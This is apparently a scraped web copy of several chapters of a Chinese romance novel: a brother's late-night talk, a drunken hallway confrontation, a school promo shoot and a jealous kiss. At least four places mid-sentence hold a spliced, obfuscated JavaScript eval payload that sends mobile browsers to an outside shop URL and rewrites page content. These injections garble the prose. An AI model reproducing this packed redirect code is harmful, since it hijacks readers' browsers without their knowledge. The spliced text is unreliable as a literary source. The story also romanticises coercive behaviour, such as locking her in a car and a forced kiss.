沈闻时在沈有容对面沙发上坐下,兄弟见面没客套地浪费时间问他要喝什么,而是直接开门见山:“有容,今天找你是为了说轮转的事。你在长天快待满了三个月,考虑好接下来要去哪了吗?” 说完,他又在后面补充一句:“现在不是在父亲面前,对我总不能还说假话。” 沈有容声音平静:“好啊,那说真话。大哥,你应该也了解我不想进集团工作。” “嗯,你还真是一点也不遮掩。” 沈闻时笑着揶揄了他一句,摘掉眼镜疲惫地捏了下鼻梁。他这时完全没了白天在公司严肃和紧绷,而是在亲人面前的完全放松。他现在不是宁恒的总裁,而是以兄长的身份坐在这。 “当初送你出国的时候,我告诉你只要随心,想做什么便做什么。结果等你回国被我和父亲联手送到子公司历练。有容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010138|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说实话,为了这事有没有生过我的气?” 沈有容看着他,很快回复:“没有。” 确实是这样的。他当初回国原定的是修整一段时间,并没有想好未来要走的路。以沈家的条件和Pawel对他的看好,继续学术这条路不是没可能。 可沈有容后来问过自己,他真的是喜欢数学,所以才想继续深造吗? 内心隐隐有个答案呼之欲出。 沈闻时像洞察他内心所想,忽然起身走到内间的休息室,出来的时候手中多了瓶酒。 “你那是什么表情,没想到我会在办公室喝酒?” 他边说边开了酒塞,找出两个杯子各倒上,将其中一个递给了沈有容。 沈有容无声挑眉,有些意外,但还是接过了。 沈闻时道:“我为了今晚调了明早的安排,加上这瓶酒,也是为了今天准备的。有容,酒后吐真言,这下你可没有理由再不说出心里话了。” “是么,那看来我今晚出不了这个门了。”沈有容无所谓笑笑。 然而沈闻时的下一句话,就让他的笑僵住了。 “你是因为不想对我造成威胁,所以才去学的数学。” 闻言,沈有容握住酒杯的手一紧。 他猜到了。 沈家并不奉行所谓的精英教育,可在沈有容的印象里,大哥总比其他人都要严格要求自己,严苛地做到精益求精。 他小时候不理解,有次问过沈闻时:“大哥,为什么你每天都要做那么多的事,还要抽出时间陪我和Cindy?”肯定很累。 但沈闻时只是轻松地笑笑:“我不觉得累。因为我长大了要保护你们。” 后来沈有容长大,渐渐明白了沈闻时的话,也知道了他身上背负的责任。有一次参加宴会,他偷跑去休息室睡觉,听到了几个大人的对话。 “日后沈家真正的继承人是谁,还真说不定。” “哈哈那倒也是,过去其他家族也不都是长子掌舵。” 本是无心的对话,可沈有容却听在了心里。等他回去的时候,刚好看见沈闻时陪在父亲身边应酬。 沈有容觉得大哥就是应该做唯一的继承人。他把这些年沈闻时的自律刻苦都看在眼里,觉得任何人都不能威胁到他,包括自己。 他才不想要什么家族间的内斗手足相残。 所以在日后选专业时,沈有容刻意回避了有关的内容,跑去读了出乎所有人意料的数学。他更不想进集团做事。 “有容,我有时候会想,是不是因为我这个做大哥的没有给你和Cindy足够的安全感,是不是我还没有做的那么好。” 沈闻时杯中的酒还剩下一半,他缓了缓语调,抵住额头,像是有些自责。 “......和大哥你没有关系。”被戳穿心思,沈有容有些不自然地解释。 “可我会觉得是自己的原因。还记得我当初和你说过的话吗,只要随心,想做什么便做什么。但是因为我的关系,让你选择了另一条路,说是违心也不为过。” 沈有容:“没有违心,也没有不喜欢,读什么对我来说都一样。” 沈闻时没有再说话,低头又饮了一口酒。沈有容不知道怎么接下去,只好无言跟着喝。 “好了,时间不早了,再喝下去明天全公司都知道我的办公室都是酒味了。”沈闻时对酒精克制有度,一杯就结束。他问沈有容:“你不回去?上次周末都要提早回家呢。” “......” “那个女生叫黎泱,对吧。别紧张,我只是私底下找人调查了一点信息,爸妈不知道。” 看到沈有容紧张的样子,沈闻时觉得好笑:“我看得出来你对她不一样,在你们的感情没有成熟前,不会告诉爸妈。” 沈有容想说什么,张了张口却欲言又止。 “过去的事情再说也没有意义了。但是有容,现在你又面临新的选择。关于今天的对话我只是想让你知道:无论你怎么做,我这个做大哥的都站在你身后。” “好了,早点回去,别让女士等太久。” 24. 不夜24 24 黎泱在楼下陪happy玩到很晚。等到她把happy关到笼子里的时候,沈有容还是没有回来。 也许是今晚不会回来了吧。 她刚这么想,院门突然亮起车灯,有车缓缓驶入。 项怀英从前车门下来,拉开后座,一双修长的腿先迈出。接着映入眼帘的是张线条凌厉的侧脸,看不清脸上的神情。 沈有容不知道和项怀英交代了什么,后者将他送到大门后便转身离开。 想到两人分开前闹的不愉快,黎泱觉得现在还是避免直接见面为好。她想直接上楼,但却迟迟没看到沈有容的身影出现。 奇怪,人不是已经进门了? 黎泱有些放心不下,去入户走廊看了眼,发现玄关处的长凳上坐着一道人影。 门口的暖色吊灯有些微弱。沈有容交叠着双腿坐在上面,身体靠在墙面一侧,双眼紧闭,看样子是睡着了。 他的眼睫混着额前刘海,在脸上投下小片的阴影。高挺的鼻梁像是一道明暗分割线,一半面容隐在黑暗中,一半在光里。 黎泱弯腰轻轻叫他了一声:“沈有容?醒醒。” 似乎恍若未闻,沈有容没动。她皱了皱眉,凑近才闻到他身上有酒味,当下判断是喝醉了。 今晚家里佣人放了假,项怀英刚才也离开了,偌大的室内就只有他们两人。 黎泱无奈叹了口气,伸手戳了戳沈有容的胳膊:“你醒醒,要回房间睡觉,不然会着凉的。” 好吧,还是没动。 她没办法了,正思考凭她一个人的力气能不能把人架上楼的时候,沈有容忽然睁开了眼。 “黎泱。” 他的嗓音有些沙哑,要比往日说话时低沉,更平添几分磁性的质感。 沈有容靠在身后的墙面上,神态慵懒随意。他歪了歪下巴,盯着她,视线从下至上,最后停在黎泱的唇上。 她是不是涂口红了?怎么看起来是粉嫩的,水润的。 沈有容忽然觉得有些渴。 “你醒了?那赶紧回房间去睡吧。” “我头晕。喝醉了,不想动。” 沈有容就这么慢吞吞地说出一个字又一个字,好像真的是酒后的样子。到最后,才终于说出主题: “你上次喝醉是我把你送回来的。” “黎泱,你得帮我。” 他故意把“黎泱”两个字咬得格外清晰,压低声线,真的像是缱绻地在念情人的名字。 真要命。 黎泱一边懊恼自己怎么会有这样的想法,一边鉴于之前的事确实是理亏,只好蹲下身和沈有容平视: “那要怎么做,我扶你上楼?” 沈有容问:“你还记得那晚宴会发生的事么。” 黎泱只好诚实地摇头:“我记不清了。”她追问:“是不是我做了什么冲动的事?” 不然,他为什么要一而再再而三地反复问。 “冲动的事?”沈有容咀嚼着这个修饰性的词语,有些不高兴。“你为什么会觉得会做出冲动的举措。” “因为,不是你说我当时醉了。人在那种没意识的情况下,做出的事应该都是没有经过大脑思考、没意义的举动吧?” 黎泱磕磕绊绊解释,不知道沈有容怎么因为一个“冲动”又较起劲来了。 “所以你亲了我。” “这在你看来也是冲动的事?” 下一秒,沈有容分外平静地放出一句话。 然而只有他自己知道,是怎么按耐住紧缩的眉心说出的。 黎泱猝不及防,大脑一片空白愣在了原地。 亲......谁亲了谁? 她,沈有容? 不是啊,不对吧,这不应该发生啊! “是不是,你记——”错字还没说出口,黎泱就被沈有容的眼神堵住,说不出一个字。 这下她头也不敢抬了,低头盯着自己的脚面发愣。 是幻觉吧?一定是她没睡好出现幻觉了吧对不对! 黎泱,你糊涂啊! 谁让你非要喝那杯酒,喝完还酒精上头,怎么敢亲了沈有容! 现在想想,他没把自己从车上扔下去已经是仁义至尽了。 转瞬的时间内,黎泱的表情已经幻灭,情绪零碎。她艰难地组织了好半天语言,鼓足勇气想开口。 但刚对上身有容的眼睛,好不容易积攒的勇气又全部烟消云散,没底气地一溜烟跑完了。 看到她这幅样子,沈有容嗤笑一声,伸手摸到了一个按钮。“啪嗒”一声,头顶的灯光熄灭,玄关走廊陷入漆黑。 黎泱才刚恢复视力,在黑暗中难以看清,根本无法辨认方向。就连近在咫尺的沈有容,都看不清身形。 忽然间,她的手腕被人拉住。来人将她向后轻轻一拽,靠在了一个怀里。 沈有容身上穿的衣服还沾染了一点外面的冷意,黎泱穿着睡裙,“嘶”的一声倒吸了口气。 她的姿势成了正面对着沈有容,身体站在他的双腿之间范围内。动不了,也逃不掉。 这是一种绝对的力量悬殊架势。黎泱成了被狩猎的那一方,而沈有容是捕食者。 他伸手,用手掌捧着黎泱的脸。手上的戒指质感冰凉,游走在她的脸颊两侧时,让黎泱受不了颤抖起来。 但沈有容把她的脸转回来,即使明知道黎泱在黑暗中看不见,他还是要让她的视线看着自己。 “黎泱,你说说看。要怎么为你的冲动买单?” 怎么办。 她能穿回那天打翻那杯酒吗? 酒精害人,她以后再也不要碰酒了! 黎泱心虚得要命,不知道该怎么回答。虽然她是站着的状态,但沈有容身材高挑,两人的高度差不了多少。 下一秒,她觉察到沈有容的手移到了她的后颈,隔着衣领的布料,像人捏住小猫的脖子,不轻不重摩挲着。 而后微微用力往前一带,她整个人不受控制朝前倾去—— “!” 黎泱瞳孔缩了下,脑海里闪过了很多画面,最后定格在了一种可能性。 她心脏跳得飞快,手心都在出汗。然而就在要身体相触的一瞬间,沈有容忽然用另一只手扶住了她的腰,掐断了所有后续。 他碰到黎泱的手,自然发现了异样跳动的脉搏速度,还有不自然的皮肤温度。 以及,面前怀中的人抑制不住的重重呼吸声。 沈有容忽而笑了: “怎么,难道你以为我要亲你?” 黎泱终于回过神,闭眼深呼吸几次才找回自己的声音。她有些心乱如麻地推开沈有容,也没心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020252|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去管他究竟是真醉还是装醉了,在黑暗中闷头找了个方向就要走。 结果没走两步就撞到了墙,因为她走的是反方向。疼得黎泱眼眶一酸,当即蹲下抱着头。 身后,沈有容重新按下了灯的开关,终于恢复光亮。 他几步上前追上黎泱,蹲下就着光查看了情况,确认没有肿起来只是小伤后才放下心。 原本想说她究竟急什么才能撞到墙上,但在看到黎泱眼眶溢出的点点泪光后又全都收了回去。 沈有容觉得到头来,折磨人的是他,被折磨的还是他。 他二十多年来一向能自控的情绪力,在遇到黎泱的这段时间,不知道失控了多少次。 “还疼吗?” 黎泱胡乱抹掉眼泪:“没事,不疼。” 才怪,撞上去的时候疼死了。她都在心里唾弃自己,怎么好好走路能蠢成这样。 怎么总是这样,一点小事都能搞砸。 她把所有的眼泪都憋回去,站起身,说:“很晚了,没事的话我先上去了。” 沈有容按了下指关节,叫住她:“黎泱。” “嗯?” “刚才......” 黎泱安静地站着,等他的下一句话。 过了十几秒,也许是一分钟,也许又没那么长。沈有容再次开口,但没有继续刚才的话题了。 “你白天问我的那件事,先等等,过两天再给你答复。好吗?” . 那晚发生的事谁都没提起。黎泱第二天早上起来,发现沈有容已经离开去了公司。 她往吐司上涂着果酱,在走神想事情。手表突然震动,她看了眼,是沈汀仪的号码。 “早上好黎泱姐!想问问你今天有空吗?” “有的。怎么了?” “那能不能拜托你帮我救个场?我缺一个女主角,约的演员临时放我鸽子了,现在大家都在干等着。” 黎泱犹豫了一下,不确信地问:“找我去拍吗?但是我从来没有拍过这种东西,担心搞砸了。” “怎么会!你那张脸就是天生适合靠镜头吃饭的啊!而且宣传片主要是拍剪影,黎泱姐你不用担心做不好的。” 沈汀仪的声音可怜兮兮:“求求啦,看在我都被人放鸽子这么可怜的份上,我相信这么人美心善的黎泱姐一定会帮我的吧~” 黎泱果然招架不住这样的软磨硬泡:“好好,我答应你会去。” “那太感谢啦!我把地址告诉项叔,让他派人送你来。” 黎泱对着镜子照了照,失明五年对她而言错过了青春成长期,她对自己现在的这张脸觉得有些陌生,也没觉得有哪里出众。 明明就是很普通的一张脸。 她叹了口气,在心里默默祈祷:希望别把事情搞砸让沈汀仪失望吧。 . 沈有容刚结束一场例行早会,才出会议室,刷手机的时候看到沈汀仪发了条新朋友圈。 “yeah,我的主演们已就位,准备开拍~” 看背景是在学校的操场,有摄影机还围了不少人。画面中心是一男一女两个背影,都穿着学生制服,一派青春气息扑面而来。 他觉得其中一个人的背影有些眼熟,放大图片看了眼,确信无疑。 沈有容皱眉,将电话拨给了项怀英。 25. 不夜25 25 黎泱刚到现场,就看见沈汀仪站在路边向她招手。她带了顶鸭舌帽,身上穿着一件拍摄人员的马甲,带着黎泱刷脸进了学校。 “这是给学校拍的宣传片,但是原定的女演员今天临时生病了。我们担心时间不够,所以才找黎泱姐你来救场。” 到了拍摄的操场,现场还站着七八个学生。三脚架摄像机,反光板还有补光灯,装备很专业。 “Cindy,你找的来救场的人呢?” “在这啦。绝对没问题,你放心好了。” 沈汀仪将站在自己身后的黎泱推出,张开两个手掌做捧花状:“锵锵,这就是我们今天的女主角。” 她的语气太热烈,黎泱有些不好意思地摘了口罩,做介绍:“大家好。” 原本在旁边百无聊赖的几人愣住,飞快交流了眼色,都从对方的眼中看到了惊艳和诧异。 “Cindy你从边揾嚟嘅人,咁正哇。” “她叫什么名字,是我们学校的?之前没听说过有这么一号人啊。” “我想要个联系方式。” 沈汀仪咳嗽两声,控制住场面:“人是我从校外找来的,是我的一个朋友。你们叫她......”她小声问黎泱:“你有英文名吗?” 得到摇头的回答后,沈汀仪急中生智编了个昵称:“叫她Li。好了,别磨蹭了,抓紧时间开拍吧。” 沈有容把人护得那么紧。要是把黎泱的身份说出去了,她哥肯定要找自己算账。 沈汀仪自信地想:还好,她特地选在沈有容上班时间找的黎泱。拍完就能把人安然无恙地送回去。 要拍的宣传片除了需要展示学校的优美环境,另外一个就是对外传递出青春向上的学校氛围。因此当然需要学生演员。 黎泱换上了学生制服。上身是浅蓝色衬衫和V领毛衣,搭配深色西服外套。下身是黑蓝色格纹毛呢短裙,白色短袜和棕色低跟皮鞋。 沈汀仪替她简单化了妆,又交代了接下来要拍的内容:“主要就是一些双人互动,喏,那个就是你今天的搭档。他叫林川是我同学,很好说话的。” 黎泱顺着沈汀仪手指的方向看去,一个戴着Burberry围巾的青年在低头玩手机,身形英挺,阳光帅气。察觉到她的视线后,林川朝她眨了眨眼,友好一笑。 沈汀仪啧啧感慨两声:“虽然说是我们学校的校草,但今天便宜这小子了。” 准备工作差不多完成后,现场进入开拍状态。然而就在这时,忽然有辆黑色轿车开进学校,停在了操场外。 学校规定一般车辆不能进校,但这辆车却被放进来,堂而皇之开到了操场。 黎泱觉得那辆车的车牌有些眼熟,又不敢确定。倒是沈汀仪看了眼,吓了一跳。 ——那不是她二哥那辆迈巴赫吗?! 卧槽,怎么会突然出现在学校啊! 果不其然,在看到从车上下来的那道熟悉人影后,黎泱和沈汀仪的表情都一头雾水。 沈有容身上的装扮看样子是刚从公司出来。手腕上戴着机械腕表,单排双扣的西装外套系了上面的那粒纽扣,介于商务和休闲之间的状态。 他的薄唇轻抿成一线,脸上无风无波,看不透是什么心情。 沈汀仪迎上去,问:“二哥,你怎么突然来我学校?” 沈有容停住脚步:“顺路看看。” 虽然他这句话是对着沈汀仪说的,但视线却越过她,看向了站在身后的黎泱。 黎泱正被林川问了个问题,偏过头去看着他回答,完全没有注意到沈有容的目光。 沈汀仪看到了,赶紧咳嗽两声解释:“他们是今天的男女主演,可能在交流问题。” 沈有容很快不留痕迹地收回视线,语气没什么起伏:“哦。你们要拍什么内容?” “就是校园宣传。”沈汀仪一下懂了她哥这是话里有话,体贴地又补充一句:“很正经的。” 本以为这样说沈有容就会离开,或者会因为接下来还有工作而回公司。结果沈有容不但没有要走的意思,还坐了下来,大有要监督拍戏的意思。 沈汀仪:“二哥,那是我作为导演坐的位置。” 沈有容:已读不回。 沈汀仪敢怒不敢言,只好委屈巴巴地让人再搬来一个椅子。 黎泱看到了沈有容留下,也在心里纠结要不要过去打个招呼。可想到昨晚发生的事,又没做好怎么开口的准备。 算了,反正等结束了再说也是可以的吧。 而且她今天是受到沈汀仪所托来帮忙,不能辜负了她的请求把事情搞砸。 演戏,演戏,就只要按照剧本写的,把东西演出来就好了。 可是—— 要当着现场这么多人的面,她真的能表现好吗?最后呈现在镜头前的真的可以吗? 似乎看出了黎泱的紧张,林川主动开口:“把镜头当成不存在好了。除了导演喊卡,其余的时间你都可以沉浸在自己的世界里,不用管任何人。” 黎泱很感谢他的善意。“谢谢,如果我有表现不好的地方,可能要麻烦你点出来。” 她从小长在嘉市,说话时带着一点地区特有的软糯口音,加上足够认真的表情,让林川恍神了一瞬。 他眼睛里闪过一丝不自然,手握成拳抵住下巴,开口说:“没事,不懂的都可以问我。” 沈有容抱着手臂坐在不远处,面色沉如水。 “3,2,1——开拍。” 黎泱深呼吸,在心中告诉自己现在要专心按照剧本内容走,抛掉其他一切念头。 她背对着镜头小跑起来,散下的头发和裙摆都随风飞扬,划出道道美丽的划线,青春又美好。 林川手中夹着一本书,和她擦肩而过。两人只有一个眼神交集,除此之外没有其他的任何互动,却又营造出了另一种感觉。 “我怎么觉得这一幕好像偶像剧的开头啊。” “对啊对啊,这时候再配一个BGM氛围感不就来了。” “赶紧林川和Li,比先前定下的演员更搭。” 沈有容盯着镜头里的一男一女,通过屏幕放大,清楚地看见两人眼神的交集。 沈汀仪坐在监视器前看得很认真,暗中感慨黎泱的脸果然就是天生为镜头而生的。 这场戏没有问题,很快结束。剩下的几个片段以景为主,人物只起陪衬的作用。加上黎泱和林川配合地很好,也很快就完成了。 “辛苦啦,还有最后一场。” 沈汀仪朝两人挥挥手,示意他们先休息片刻再讲戏。黎泱和林川一起走回来,等着拍最后一场。 两人说笑间交谈着,气氛很轻松。经过刚才的拍摄,也没了一开始的拘谨。 沈有容就这么看着黎泱和林川穿着一样的制服,说说笑笑走近,觉得分外扎眼。他好像还从来没见过黎泱在自己面前流露出这么轻松愉悦的表情。 而从他出现到现在,黎泱没有和他说过一句话,也没看他一眼。 她和那个男生在一起,就这么开心? 沈有容不耐烦地转了手上的戒指,黎泱走得越近,将她脸上的笑意也看得越发清晰。 黎泱发现了沈有容一直盯着自己,还注意到他的脸色很差。怎么了,谁又惹他不开心了? 想到之前几次沈有容生气时的经历,她觉得自己还是躲得远远的,别再凑上前乱晃倒霉了。 黎泱是这样想的,也是这样做的。 她挑了个离沈有容最远的地方站着,又为了避免不自然,有一搭没一搭和林川聊着天。 林川问:“你认识沈二少吗?他好像从刚才开始就一直在看你。” 黎泱头也不敢回,觉得自己和沈有容的关系似乎不应该对外说出,不然对他的影响不好。于是回答说:“可能是你看错了吧。我怎么会认识他。” 结果这话被沈有容清清楚楚听进了耳中。 他冷笑一声,觉得更加吃味。 很好,这次自己在黎泱口中不是“只见过几面不熟了”,而是直接成了不认识。 她就这么不想和他扯上联系? 沈有容的情绪变幻莫测。一会是觉得自己小题大做,怎么因为这么小的事都能不舒服;一会又觉得为什么不能生气,他把黎泱带回来,结果最后成了她口中的陌生人。 他现在懂了农夫与蛇,觉得怎么最后全变成了自己一厢情愿。 沈汀仪看到她哥这状态,胳膊上起了鸡皮疙瘩。好可怕,赶紧拍完吧,赶紧把这尊大佛给送走吧。 黎泱不自觉的摸了摸后颈,不知道为什么突然感觉有些冷森森的。林川注意到了她的这个动作,解下了自己的Burberry围巾递给黎泱。 “看你有些冷。现在是换季的时间,不要着凉了。” 林川又善解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为她的两次失误,所有人都得陪着她再来一遍。黎泱向大家说了抱歉,要再拍一次。 “我希望自己的未来纯净明朗,找到——” 她卡词了。 林川看出黎泱脸色不对。“怎么了,要不要先休息一下?”她摇了摇头。沈汀仪也走来问她的情况,明明前面状态都很好,怎么现在变成了这样。 黎泱将沈汀仪拉远,叹了口气说:“能不能让你哥先离场?我演的时候集中不了注意力。” 沈汀仪这才明白是怎么回事。沈有容这么强大的气场坐在那,一直盯着你看,换谁不发怵。 她只好回去劝说沈有容:“哥,剩下也没什么内容要拍了。要不你先回去吧?别再浪费时间在这了。” 沈有容没动:“都看了这么久,最后一场戏还急什么。” 他睨眼扫着沈汀仪,语气不容置喙:“不是你说的是拍正经戏,有什么好担心的。怎么,担心我接下来会看到什么拆了你的台?” 沈汀仪:呜呜呜她哥好可怕。 黎泱姐对不起我辜负了你的信任,完成不了任务了。 没有办法,只能继续这么拍。黎泱也被激起了斗志,不就是沈有容在那看着吗?不就是当着他的面演戏吗?她又没做什么事,心虚什么啊! 对,演就完了! 给自己打完气,黎泱重新牵住了林川的手。她像故意为了故意证明给谁看,把手腕高高举起,开口大声念出那段台词。 沈有容眉心一跳,胸口猛然一滞。 他攥紧手掌,视线越过围在一起的人群,直直盯着黎泱。 一波三折终于结束了拍摄,黎泱总算放下心,没有搞砸沈汀仪的拜托。她刚想去找沈汀仪,林川忽然叫住了她。 “Li,能交换你的联系方式吗?和你合作很愉快。” 黎泱还没来得及对他说“抱歉”,身后突然传来力道,一道人影堵在了她面前。 “她不能。” 沈有容挡在了黎泱和林川之间,面容冷峻。林川没料到他会突然出现,和沈有容周身强大的气场比起来,他有些相形见绌。 林川:“沈先生,我是在询问这位Li小姐,你好像不能替她做决定。” 黎泱见气氛不对,想站出来打圆场,结果被沈有容一手按住了肩膀。 “我有没有资格替她做决定,这事也轮不到你来评判。” 他转头看向黎泱:“拍摄结束,该跟我回去了。” 黎泱被他强硬的安排有些不舒服:“沈有容,你这样对别人很没有礼貌。让我先把话和林川说清楚,还有跟沈汀仪打个招呼——” “但是我没耐心了。” 26. 不夜26 26 “砰——”的一声,车门关闭,随即落锁。 黎泱被沈有容塞到副驾驶的位置,怎么推都推不开车门。她转身看到沈有容坐进车内,紧绷的下颌和蹙起的眉心都透露一个信息:男人现在的心情十分不悦。 事情是怎么演变到这一步的,黎泱也不知道。沈有容直接把她从操场上带走,一句话也不说。 她只觉得不明所以,是自己的哪个举动不让他顺眼了? 黎泱想不通,用余光去偷瞄沈有容想从他脸上得到点线索。好吧,人家连个眼神也没分给她。 女人的心思难猜。 沈有容的心思更难猜。 她拉过安全带系上,思考着要不直接打直球问他。结果话还没开口,就看见男人的身影覆了过来。 沈有容伸手扯下黎泱脖子上的那条Burberry围巾,紧接着降下车窗扔了出去。 “......那是——” 黎泱没预料到他的举动。那是林川借给她的围巾,不是她的东西,就这么被沈有容丢掉了? 沈有容冷声道:“不许动下车捡的念头。” 仿佛看穿她的内心想法,他不给黎泱机会,发动汽车驶离了校园。 回到家,他将黎泱径直带去了卫生间,打开水龙头,握着她的双手放在洗手台上。 沈有容的手掌宽大,能完全包裹住黎泱的手。一开始黎泱还想挣脱,后来发现没有成功的迹象后只能放弃。 水流声哗啦,充斥在封闭的浴室内。 黎泱不经意抬眼,看见了自己和沈有容在镜子中的姿势。两道身形一前一后站着,沈有容低头垂眸,胳膊从她的腋下穿过,在水龙头下仔细冲洗着她的双手。 就像是,她被沈有容抱在怀中,有些暧昧。 “黎泱,我在生气。” 沈有容关掉水龙头转身,抽了两张干净的纸巾,擦干黎泱手上的水珠。等到做完这一切,他才顾及自己同样湿漉漉的手。 “你上次在机场告诉我,不要阴阳怪气藏着情绪。所以我说,我现在在生气。” 他把纸巾揉成一团,丢进了垃圾桶。而后靠在了大理石洗手台上,视线没有掩饰和遮挡,就这么看着黎泱。 饶是黎泱再迟钝,此刻也该明白过来是怎么回事了。 一个不成型的猜测慢慢浮现: 沈有容这是......吃醋了? 黎泱的眼中闪过很多情绪,不确信,怀疑。沈有容莫名的情绪变动是因为她?因为她在拍戏的时候牵了林川的手? 她对沈有容而言,有那么重要吗? 还是,只是单纯地因为占有欲。沈有容将她划入了属于自己名义的范畴,不喜欢她和他人的接触。 其实还有一种可能,但被黎泱下意识否决了。 她脸上迟疑的神情被沈有容尽收眼底,男人再也按捺不住,动了身形。 沈有容伸手揽住了黎泱的腰,将人带到自己面前,而后低下头,咬住了她的唇。 他的动作太快,所有的事都发生在一瞬间。唇瓣相触的刹那,黎泱还觉得不真实。但很快,唇上真真实实传递的触感让她意识到这不是幻觉。 好像按下了慢放,身体的每个感官都被放大,黎泱觉得从脸颊开始升温,耳垂滚烫,心脏猛烈地跳动着,每一次她都感知得清清楚楚。 沈有容咬着她的下唇,不轻不重地描摹,用低沉沙哑的嗓音在她耳边蛊惑:“张开。” “呜......” 黎泱觉得自己像要溺水,呼吸不过来,该做什么一无所知,身体也发软没了力气。她只能下意识听着沈有容的命令,张开了嘴。 随之而来的是攻城略地。 沈有容的喘息也无声地加重。 黎泱节节败退,想躲,但沈有容将她圈在了怀中,无从躲避。他用手抚摸着黎泱的脸颊,从耳垂滑到后颈,手指游走过的每存皮肤都变得灼热。 “好烫。帮你降温,好不好。” 沈有容忽然停下了动作,给了黎泱片刻的喘息时间。他将黎泱凌乱的发丝拨到耳后,呼出的气息洒在肌肤上,又是一种刺感。 黎泱残存的意识告诉她,不能再继续下去了,现在的沈有容很危险。 她提起没什么力气的手,想推开沈有容,然而力道软绵绵的,像小猫在挠人。 “......不,让我......” 话都没说完,沈有容不轻不重捏了下她滚烫的耳垂,黎泱双腿发软险些要站不住摔到地上去。 沈有容捞起她,扯下一块浴巾铺在了大理石洗手台上,将黎泱抱了上去。 “可我需要你。” 沈有容的双手撑在她身侧,视线和她平齐,姿态却是绝对的掌控。 “你觉得我会平白无故无聊到让一个陌生人住进家里?黎泱,想撇清关系、在别人面前装陌生人的是谁?” 黎泱一愣,想到了在学校林川询问她是否认识沈有容时,她说了不认识。 原来,他那时都听到了? 可她那样回答,不是因为担心消息传出去会对沈有容造成困扰。 黎泱现在开始重新思考自己和沈有容的关系,但根本找不到一个合适的词语去描述。 总不能是—— “现在可不是走神的时候。”沈有容逼近,“黎泱,回答我,你把我当成什么了?” 她怎么对着别的真正的“陌生人”表现得那么放松,笑得开心随性;而对他,总透露着提防和小心。 沈有容不知道,他今天越过这一步会带来什么后果。在他的设想中,至少和黎泱的身体接触不应该发生在这种时刻——因为莫名醋意带来的冲动,是一种很不理智的行为。 他知道。 可没有控制。 导师Pawel曾经对他说过,与数字打交道是需要极致的理性和冷静。他说: “Ethan,像你这种从来没设想过穿着西装迎娶心爱姑娘的人,要么是天生冷淡,要么是还没有遇到注定的那个人。” “而后者呢,通常情况下也面对两种概率。”Pawel在这个时候显现了英国人的冷幽默,卖足关子后才缓缓说: “一种是大圆满的happyending,另外一种就是伤感的badending咯。” 沈有容那个时候是怎么回答的? 哦,他当时忙着核对一项数据,闻言头也没抬:“按照你的说法,婚姻到最后只有这两个结局,为什么还要在之前浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037607|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精力谈爱情?” 他对虚无缥缈的所谓“爱情”不屑一顾,认为是一项投入时间和收获成本不成正比的事。 不值得,也没必要。 可几年时间过去,沈有容现在才体会到Pawel那句话的含义。 爱情的意思就是: 你明知道深陷其中的后果,可还是会心甘情愿地沉沦。以为能够控制,眼睁睁看着自己不断试探,直到最后不可抽身。 面对沈有容的质问,黎泱也意识到,她不能再逃避这个问题。 一直以来,她总是用一个又一个理由说服自己,从不敢正面去细究。其实仔细想想,从她在危急关头打给沈有容的那通求救电话开始,两个人的关系就不复当初的平直,变得纠缠不休。 沈有容向她施与了一次又一次的援手,让她有后路从孟家搬出。和有趋光性的飞蛾一样,人也同样会将目光放在追寻明知不可攀的高山上。 但黎泱始终认为她站在被施舍的那一方,与沈有容是一个不对等的关系。 双方的身份悬殊有多大,她甚至没有勇气对外宣称和他有关系。 ——就因为过去有过太多次希望扑空的经历,让她没有胆量去设想一个不切实际的可能性。 “......我把你当做资助者,一直以来都抱着感激的态度。” 黎泱不敢去看沈有容是什么反应,下定决心语速飞快,似乎是害怕迟疑一步就没有说出的勇气:“今天的事就这样吧,我们都是成年人......就当,和晚宴那天的事扯平了。” 说完,她想要跳下洗手台,然后刚往前挪了一步,就被沈有容按住了腿。 她身上还穿着学校制服,毛呢短裙坐下的时候长度往上带了一段,露出膝盖以下的纤细小腿。细腻的皮肤在灯光下,白得有些晃眼。 沈有容忽而发出一声轻笑,促狭的眼眸微微弯起,眼底盛满像是终于等到猎物自投罗网:“那晚发生的事,是我对你说了个慌。” 她根本没有亲他。那甚至不算是吻,只是个意外,蜻蜓点水一般擦过了他的下巴。 黎泱目光诧异:“你——” “所以,我们之间扯平不了。”沈有容敛了眼底的笑意,一字一顿,语气认真注视着黎泱的眼睛:“你说呢?” 